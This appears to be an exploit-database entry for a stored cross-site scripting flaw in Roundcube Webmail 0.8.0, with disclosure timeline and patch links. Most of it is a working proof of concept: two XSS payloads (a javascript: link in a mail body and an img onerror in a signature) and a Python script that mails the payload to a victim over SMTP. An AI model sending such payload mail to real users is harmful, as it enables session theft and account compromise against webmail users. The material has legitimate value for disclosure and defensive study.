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Suggest Exploit
vendor:
Roundcube Webmail
by:
Shai rod
7,5
CVSS
HIGH
Stored XSS
79
CWE
Product Name: Roundcube Webmail
Affected Version From: 0.8.0
Affected Version To: 0.8.0
Patch Exists: YES
Related CWE: N/A
CPE: a:roundcube:roundcube_webmail:0.8.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: LAMPP
2012

Roundcube Webmail Stored XSS

Send an email to the victim with the payload in the email body, Once the user clicks on the url the XSS should be triggered. In order to trigger this XSS you should insert the payload into your signature.

Mitigation:

Validate user input and encode output to prevent XSS attacks.
Source

Exploit-DB raw data:

#!/usr/bin/python

'''
# Exploit Title: Roundcube Webmail Stored XSS.
# Date: 14/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://roundcube.net
# Software Link: http://sourceforge.net/projects/roundcubemail/files/roundcubemail/0.8.0/roundcubemail-0.8.0.tar.gz/download
# Version: 0.8.0


#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar

# Timeline:
#14 Aug 2012: Discovered Vulnerability.
#14 Aug 2012: Opened Ticket #1488613 - http://trac.roundcube.net/ticket/1488613
#15 Aug 2012: Fix added to repo.

https://github.com/roundcube/roundcubemail/commit/c086978f6a91eacb339fd2976202fca9dad2ef32
https://github.com/roundcube/roundcubemail/commit/5ef8e4ad9d3ee8689d2b83750aa65395b7cd59ee


About the Application:
======================

Roundcube is a free and open source webmail solution with a desktop-like user interface which is easy to install/configure and that runs on a standard LAMPP
server. The skins use the latest web standards such as XHTML and CSS 2. Roundcube includes other sophisticated open-source libraries such as PEAR,
an IMAP library derived from IlohaMail the TinyMCE rich text editor, Googiespell library for spell checking or the WasHTML sanitizer by Frederic Motte.

Vulnerability Description
=========================

1. Stored XSS in e-mail body.

XSS Payload: <a href=javascript:alert("XSS")>POC MAIL</a>

Send an email to the victim with the payload in the email body, Once the user clicks on the url the XSS should be triggered.

2. Self XSS in e-mail body (Signature).

XSS Payload: "><img src='1.jpg'onerror=javascript:alert("XSS")>

In order to trigger this XSS you should insert the payload into your signature.

Settings -> Identities -> Your Identitiy -> Signature
Now create a new mail, XSS Should be triggered.

'''

import smtplib

print "###############################################"
print "#       Roundcube 0.8.0 Stored XSS POC        #"
print "#             Coded by: Shai rod              #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server  = "192.168.1.10"
smtp_port = 25
subject = "Roundcube Webmail XSS POC"


# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject) )
msg += "Content-type: text/html\n\n"
msg += """<a href=javascript:alert("XSS")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"